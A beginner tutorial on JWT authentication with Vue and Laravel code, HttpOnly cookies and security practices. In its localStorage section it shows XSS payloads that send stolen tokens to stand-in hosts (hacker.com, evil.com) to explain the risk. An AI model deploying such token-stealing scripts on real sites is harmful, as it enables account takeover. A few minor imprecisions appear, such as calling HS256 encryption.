JWT Authentication: A Complete Guide for Beginners
What is JWT?
JWT (JSON Web Token) is a digital token that contains user information in a compact, URL-safe format.
Real-World Analogy
Think of JWT like a gym membership card:
WITHOUT Membership Card (Traditional Session):
───────────────────────────────────────────────
You: "I want to enter the gym"
Receptionist: "Who are you? Show me your ID"
You: *Shows ID*
Receptionist: *Checks database...* "OK, you can enter"
Tomorrow:
You: "I want to enter the gym"
Receptionist: "Who are you? Show me your ID" ← AGAIN!
You: *Shows ID*
Receptionist: *Checks database...* "OK, you can enter"
Must verify every single time
Database check required constantlyWITH Membership Card (JWT):
───────────────────────────────────────────────
Day 1:
You: "I want to register"
Receptionist: *Checks ID, payment* → Issues membership card
Card contains: Your name, member ID, expiry date
Day 2 onwards:
You: *Tap membership card*
Receptionist: "Welcome!" ← INSTANT!
(No database check needed, card is self-contained)
Fast (no database lookup)
Convenient (register once, use repeatedly)
JWT Structure
A JWT looks like this:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyX2lkIjoxLCJlbWFpbCI6ImpvaG5AZXhhbXBsZS5jb20iLCJleHAiOjE3MzA0MDAwMDB9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5cIt consists of three parts separated by dots (.):
- Header (red): Algorithm information
- Payload (purple): User data (user_id, email, permissions, etc.)
- Signature (cyan): Digital signature for validation
Decoded Payload Example:
{
"user_id": 1,
"email": "john@example.com",
"name": "John Doe",
"roles": ["user", "admin"],
"iat": 1698739200, // Issued at (when token was created)
"exp": 1699344000 // Expires (7 days from creation)
}
How Flow JWT is Created?
Scenario: User First-Time Login
┌─────────────────────────────────────────────────────────┐
│ COMPLETE FLOW: From Landing Page to JWT Creation │
└─────────────────────────────────────────────────────────┘
Step 1: User visits website.com (not logged in)
↓
Step 2: Landing page loads (no JWT yet)
↓
Step 3: User clicks "Login" button
↓
Step 4: User fills login form
↓
Step 5: Frontend sends request to backend
↓
Step 6: Backend validates user credentials
↓
Step 7: Backend generates JWT ← JWT IS CREATED HERE!
↓
Step 8: Backend sends JWT to browser via Cookie
↓
Step 9: Browser stores cookie automatically
↓
Step 10: User redirected to dashboard
↓
Step 11: Every subsequent request includes JWT automatically
Detailed Code Examples
Frontend (Login Form)
<!-- Login.vue -->
<template>
<div class="login-page">
<h1>Login</h1>
<form @submit.prevent="handleLogin">
<input v-model="email" type="email" placeholder="Email" />
<input v-model="password" type="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
</div>
</template>
<script setup>
import { ref } from 'vue';
import axios from 'axios';
import { useRouter } from 'vue-router';
const email = ref('');
const password = ref('');
const router = useRouter();
const handleLogin = async () => {
try {
// Send login request to backend
const response = await axios.post('https://api.example.com/auth/login', {
email: email.value,
password: password.value
}, {
withCredentials: true // ← IMPORTANT! Allows cookie exchange
});
console.log('Login successful:', response.data);
router.push('/dashboard');
} catch (error) {
alert('Login failed: ' + error.response.data.message);
}
};
</script>
Backend (JWT Generation)
<?php
// AuthController.php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
use App\Models\User;
use Firebase\JWT\JWT;
class AuthController extends Controller
{
public function login(Request $request)
{
// Step 1: Validate input
$request->validate([
'email' => 'required|email',
'password' => 'required'
]);
// Step 2: Find user in database
$user = User::where('email', $request->email)->first();
// Step 3: Verify password
if (!$user || !Hash::check($request->password, $user->password)) {
return response()->json([
'message' => 'Invalid email or password'
], 401);
}
// Step 4: Create JWT payload
$payload = [
'user_id' => $user->id,
'name' => $user->name,
'email' => $user->email,
'roles' => ['user'], // User permissions
'iat' => time(), // Issued at (current timestamp)
'exp' => time() + (60 * 60 * 24 * 7) // Expires in 7 days
];
// Step 5: Generate JWT
$jwt = JWT::encode(
$payload,
env('JWT_SECRET'), // Secret key from .env file
'HS256' // Encryption algorithm
);
// Step 6: Send JWT via Cookie
return response()->json([
'message' => 'Login successful',
'user' => [
'id' => $user->id,
'name' => $user->name,
'email' => $user->email
]
])->cookie(
'auth_token', // Cookie name
$jwt, // JWT string
60 * 24 * 7, // 7 days (in minutes)
'/', // Path: all paths
'.example.com', // Domain: works on all subdomains
true, // Secure: HTTPS only
true, // HttpOnly: JavaScript cannot access
false, // Raw
'Lax' // SameSite: Cross-subdomain allowed
);
}
}Subsequent Requests (Automatic)
// Frontend (Vue/React)
// JWT is automatically sent with every request!
axios.get('https://api.example.com/user/profile', {
withCredentials: true // Cookie automatically attached
});
// Browser automatically sends:
// Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...<?php
// Backend Middleware (Validates JWT)
namespace App\Http\Middleware;
use Closure;
use Firebase\JWT\JWT;
use Firebase\JWT\Key;
class AuthenticateJWT
{
public function handle($request, Closure $next)
{
// Get JWT from cookie
$jwt = $request->cookie('auth_token');
if (!$jwt) {
return response()->json(['error' => 'Unauthorized'], 401);
}
try {
// Decode JWT (verify signature)
$decoded = JWT::decode($jwt, new Key(env('JWT_SECRET'), 'HS256'));
// Now we have user data WITHOUT database query!
$userId = $decoded->user_id;
$userName = $decoded->name;
$userEmail = $decoded->email;
// Attach user to request for use in controllers
$request->merge(['auth_user' => $decoded]);
return $next($request);
} catch (\Exception $e) {
return response()->json(['error' => 'Invalid or expired token'], 401);
}
}
}
Why Backend Sends JWT via Cookie?
Main Purpose: IDENTIFICATION & AUTHORIZATION
The backend sends JWT via cookie to enable:
- Automatic authentication on every request
- Stateless authentication (no server-side session storage)
- Cross-subdomain authentication (single sign-on)
- Security (HttpOnly flag prevents JavaScript access)
Complete Request Flow
REQUEST 1: Login
─────────────────────────────────────────────────────────
Browser → Server: POST /api/auth/login
{ email: "john@example.com", password: "****" }
Server:
1. Validates credentials
2. Generates JWT with user data
3. Sends JWT via Cookie ← HERE!
Server → Browser:
Response: { message: "Login successful", user: {...} }
Set-Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...;
Domain=.example.com; HttpOnly; Secure; SameSite=Lax
Browser:
- Automatically stores cookie
- Cookie valid for: example.com, api.example.com, app.example.com
REQUEST 2-100: Access protected resources (no re-login!)
─────────────────────────────────────────────────────────
Browser → Server: GET /api/user/profile
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
↑ AUTOMATICALLY sent! No manual coding needed!
Server (Middleware):
1. Extracts JWT from cookie
2. Decodes and verifies JWT
3. Gets user data: user_id=1, email=john@example.com
4. NO DATABASE CHECK NEEDED! ← Key advantage!
5. Continues to controller
Server → Browser:
Response: { id: 1, name: "John Doe", email: "john@example.com" }
REQUEST 101: After 7 days (Token Expired)
─────────────────────────────────────────────────────────
Browser → Server: GET /api/user/profile
Cookie: auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Server (Middleware):
1. Extracts JWT from cookie
2. Attempts to decode JWT EXPIRED!
3. Returns error 401 Unauthorized
Server → Browser:
Response: { error: "Token expired, please login again" }
Browser:
- Redirects to login page
LocalStorage vs Cookie
Why LocalStorage is DANGEROUS ?
Many developers store JWT in localStorage because it’s simple:
// Storing JWT in localStorage (DANGEROUS!)
localStorage.setItem('token', jwt);
// Manually attaching to requests
const token = localStorage.getItem('token');
axios.post('/api/booking', data, {
headers: { 'Authorization': `Bearer ${token}` }
});The Problem: XSS (Cross-Site Scripting) Attack
// JavaScript CAN access the token!
console.log(localStorage.getItem('token')); // Token visible!
// DANGER: XSS Attack Example
// Hacker injects malicious JavaScript:
<script>
// Steal user's token!
fetch('https://hacker.com/steal', {
method: 'POST',
body: localStorage.getItem('token') // ← Token stolen!
});
</script>
// Hacker now has your authentication token
// Hacker can impersonate you!Real-World Attack Scenario:
- Hacker finds XSS vulnerability (e.g., unescaped comment form)
- Hacker injects:
<script>fetch('https://evil.com?token='+localStorage.getItem('token'))</script> - Victim views page with malicious script
- Token automatically sent to hacker’s server
- Hacker uses token to access victim’s account
Why Cookie with HttpOnly is SAFE?
// Backend sends JWT via HttpOnly cookie
return response()->json(['message' => 'Login success'])
->cookie(
'auth_token',
$jwt,
60 * 24 * 7,
'/',
'.example.com',
true, // secure: HTTPS only
true // httpOnly: CANNOT be accessed by JavaScript! ← KEY!
);// Frontend does NOT handle token manually!
axios.post('/api/booking', data, {
withCredentials: true // ← Cookie automatically sent!
});
// JavaScript CANNOT access the token!
console.log(document.cookie); // Token not visible (because httpOnly)!
// SAFE from XSS Attack
// Hacker injects malicious JavaScript:
<script>
// Try to steal token...
console.log(document.cookie); // ← Token NOT visible!
fetch('https://hacker.com/steal?token=' + document.cookie);
// Hacker gets nothing!
</script>Comparison Table:

Why Not Cache?
Cache and cookies serve completely different purposes:
Cookie
Purpose: Identify and authenticate users
Location: Browser (client-side)
Sent to server: Yes, every request
Function: User identification, preferences
Size: Max 4KB per cookie
Expiration: Set manually (7 days, 1 year, etc.)
User can edit: Yes (in DevTools)
Example use: Authentication token, user themeCache
Purpose: Speed up loading by storing temporary data
Server-Side Cache
Location: Server (Redis, Memcached, database)
Sent to server: No (stored on server)
Function: Speed up data access
Size: Can be GB
Expiration: Automatic (based on strategy)
User can edit: No (managed automatically)
Example use: Database query results, computed datause Illuminate\Support\Facades\Cache;
// Server-side cache example
$user = Cache::remember('user_profile_' . $userId, 3600, function() use ($userId) {
return User::find($userId); // Query DB if cache empty
});Browser Cache (HTTP Cache)
Location: Browser (client-side)
Sent to server: No (used locally)
Function: Avoid re-downloading static files
Size: Can be GB
Expiration: Based on HTTP headers
User can edit: No (automatic)
Example use: Images, CSS, JavaScript filesHow Browser Cache Works:
Request 1:
Browser → Server: "Give me logo.png"
Server → Browser: [logo.png] + Header: Cache-Control: max-age=3600
Request 2 (within 1 hour):
Browser: "I have logo.png in cache, no need to request!"
↓ Load directly from disk
[logo.png] Super fast!Why Cache Cannot Replace Cookie for JWT
Cache is NOT sent to server
→ Server cannot identify user
Cache is for static/computed data
→ Not for authentication
Browser cache cannot be accessed by server
→ Server needs JWT on every request
Cookie is sent to server automatically
→ Perfect for authenticationDifferent Use Cases:
// Cookie: Authentication (who is making the request?)
$userId = $request->cookie('auth_token'); // Sent every request
// Cache: Speed up data access (avoid DB query)
$userData = Cache::get('user_' . $userId); // Server-side only
Can JWT Be Seen and Copied?
Yes, JWT Can Be Seen
In Browser DevTools:
Chrome DevTools:
1. Press F12
2. Go to "Application" tab
3. Click "Cookies" → "https://example.com"
4. You'll see: auth_token = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
You CAN see the JWT!Decode JWT at jwt.io:
If you copy the JWT and paste it into https://jwt.io, you’ll see:
{
"user_id": 1,
"email": "john@example.com",
"name": "John Doe",
"iat": 1698739200,
"exp": 1699344000
}Important: JWT is encoded, NOT encrypted!
- Anyone can decode and READ the payload
- But they CANNOT modify it (signature prevents tampering)
Can It Be Copied to Another Computer?
Short Answer: YES, but with limitations
Scenario: Copying JWT to another laptop
Laptop A (Original):
1. User logs in
2. Gets JWT in cookie: eyJhbGci...
3. Copy JWT from DevTools
Laptop B (New):
1. Open DevTools → Application → Cookies
2. Manually create cookie: auth_token = eyJhbGci...
3. Refresh page
4. You're logged in! (as the same user)This works because:
- JWT contains all user information
- Server validates JWT, not the device
- No device fingerprinting by default
Can It Be Hacked?
Answer: Yes, if not properly secured
Attack Method 1: Token Theft
If attacker gets your JWT:
1. XSS Attack (if stored in localStorage)
2. Man-in-the-Middle (if not using HTTPS)
3. Physical access to your computer
4. Malware on your device
Prevention:
Use HttpOnly cookies (prevents XSS)
Use HTTPS (prevents Man-in-the-Middle)
Use Secure flag (cookie only sent over HTTPS)
Short expiration time (7 days max)
Use SameSite flag (prevents CSRF)Attack Method 2: Token Tampering
Attacker tries to modify JWT:
Original JWT payload:
{
"user_id": 1,
"role": "user",
"exp": 1699344000
}
Attacker changes to:
{
"user_id": 1,
"role": "admin", ← Changed!
"exp": 1699344000
}
Result: FAILS!
Reason: Signature becomes invalid
Server rejects the modified tokenWhy Tampering Doesn’t Work:
JWT Signature = HMAC(
header + payload,
SECRET_KEY ← Only server knows this!
)
Attacker changes payload → Signature no longer matches → Rejected!Security Best Practices
// GOOD: HttpOnly, Secure, SameSite
return response()->json($data)->cookie(
'auth_token',
$jwt,
60 * 24 * 7, // 7 days (not too long!)
'/',
'.example.com',
true, // Secure: HTTPS only
true, // HttpOnly: No JavaScript access
false,
'Lax' // SameSite: Basic CSRF protection
);
// BAD: No security flags
return response()->json($data)->cookie(
'auth_token',
$jwt,
60 * 24 * 365, // 1 year (too long!)
'/',
'.example.com',
false, // Works on HTTP (insecure!)
false, // JavaScript can access (XSS risk!)
false,
'None' // No CSRF protection
);Additional Security Layers:
// 1. IP Address Validation
$payload = [
'user_id' => 1,
'ip' => $request->ip(), // Store IP in JWT
'exp' => time() + (60 * 60 * 24 * 7)
];
// In middleware, verify IP matches
if ($decoded->ip !== $request->ip()) {
return response()->json(['error' => 'Token used from different IP'], 401);
}
// 2. User Agent Validation
$payload = [
'user_id' => 1,
'user_agent' => $request->userAgent(),
'exp' => time() + (60 * 60 * 24 * 7)
];
// 3. Token Blacklist (for logout)
// Store revoked tokens in Redis
Redis::setex('blacklist:' . $jti, 604800, 1); // 7 days
// In middleware, check blacklist
if (Redis::exists('blacklist:' . $decoded->jti)) {
return response()->json(['error' => 'Token has been revoked'], 401);
}
Main Purpose of JWT
Core Function: Stay Logged In Without Re-Authentication
Exactly! Your understanding is correct!
JWT’s primary purpose is to allow users to remain authenticated without logging in repeatedly.
Traditional Session (Without JWT)
Day 1 - 10:00 AM: User logs in
├─ Server creates session in database
├─ Server sends session ID via cookie
└─ User accesses dashboard
Day 1 - 10:30 AM: User accesses profile
├─ Browser sends session ID
├─ Server checks session in database ← Database query!
└─ User accesses profile
Day 1 - 11:00 AM: User accesses settings
├─ Browser sends session ID
├─ Server checks session in database ← Database query again!
└─ User accesses settings
Every request = Database query! JWT Approach
Day 1 - 10:00 AM: User logs in
├─ Server generates JWT (contains user data)
├─ Server sends JWT via cookie
└─ User accesses dashboard
Day 1 - 10:30 AM: User accesses profile
├─ Browser sends JWT
├─ Server decodes JWT (no database query!) ← Faster!
└─ User accesses profile
Day 1 - 11:00 AM: User accesses settings
├─ Browser sends JWT
├─ Server decodes JWT (no database query!) ← Faster!
└─ User accesses settings
Days 2-7: Same JWT works! No re-login needed!
Day 8: JWT expires
├─ Browser sends expired JWT
├─ Server rejects: "Token expired"
└─ User must login again (get new JWT for next 7 days)7-Day Expiration Example
Timeline:
October 1, 10:00 AM - User logs in
├─ JWT created with exp: October 8, 10:00 AM
└─ Cookie stored in browser
October 1-7 (7 days)
├─ User visits website: Automatically logged in
├─ User closes browser: Still logged in (cookie persists)
├─ User restarts computer: Still logged in
├─ User uses different browser tab: Still logged in
└─ NO login required during these 7 days!
October 8, 10:01 AM (After 7 days)
├─ User visits website
├─ Browser sends JWT
├─ Server checks: exp=October 8, 10:00 AM (expired!)
├─ Server returns: "Token expired, please login"
└─ User must login again → Gets NEW JWT for next 7 daysPractical Benefits
For Users
Login once, stay logged in for days/weeks
Don't need to remember password for every visit
Seamless experience across multiple subdomains
Fast page loads (no authentication delay)For Developers
Stateless authentication (no session storage needed)
Easy to scale (no shared session database)
Works across multiple servers/services
Better performance (no database checks on every request)Configuring Expiration Time
Common Expiration Strategies:
// Short-lived (High security apps: banking, medical)
'exp' => time() + (60 * 15) // 15 minutes
// Medium (Most web apps: e-commerce, social media)
'exp' => time() + (60 * 60 * 24 * 7) // 7 days
// Long-lived (Low security apps: blogs, news sites)
'exp' => time() + (60 * 60 * 24 * 30) // 30 days
// Very long (Remember me feature)
'exp' => time() + (60 * 60 * 24 * 365) // 1 yearRefresh Token Pattern (Advanced)
For better security with longer sessions:
// Two tokens approach
{
"access_token": "eyJhbG...", // Short-lived (15 minutes)
"refresh_token": "dGhpcyB..." // Long-lived (30 days)
}
Flow:
1. Login → Get access_token (15 min) + refresh_token (30 days)
2. Make API calls with access_token
3. Access_token expires after 15 minutes
4. Use refresh_token to get NEW access_token
5. Repeat steps 2-4 for 30 days
6. After 30 days, refresh_token expires → Must login again
Benefit:
- Access_token expires quickly (safer if stolen)
- User doesn't need to login frequently
- Refresh_token can be revoked from database
Summary
Key Takeaways
- JWT = Digital identity card containing user information
- Cookie with HttpOnly is the safest way to store JWT
- LocalStorage is dangerous due to XSS attacks
- Cache is for speed, not authentication
- JWT can be seen but cannot be tampered with
- Copying JWT works but has security risks (use HTTPS, IP validation)
- Main purpose: Stay logged in without re-authentication for X days
Quick Decision Guide
Use JWT when:
- You need stateless authentication
- You have multiple subdomains (SSO)
- You want to scale horizontally
- You want better performance (no DB checks)
Use traditional sessions when:
- You need instant logout across all devices
- You have simple single-domain app
- You’re building high-security app (banking, healthcare)
Happy coding!!!
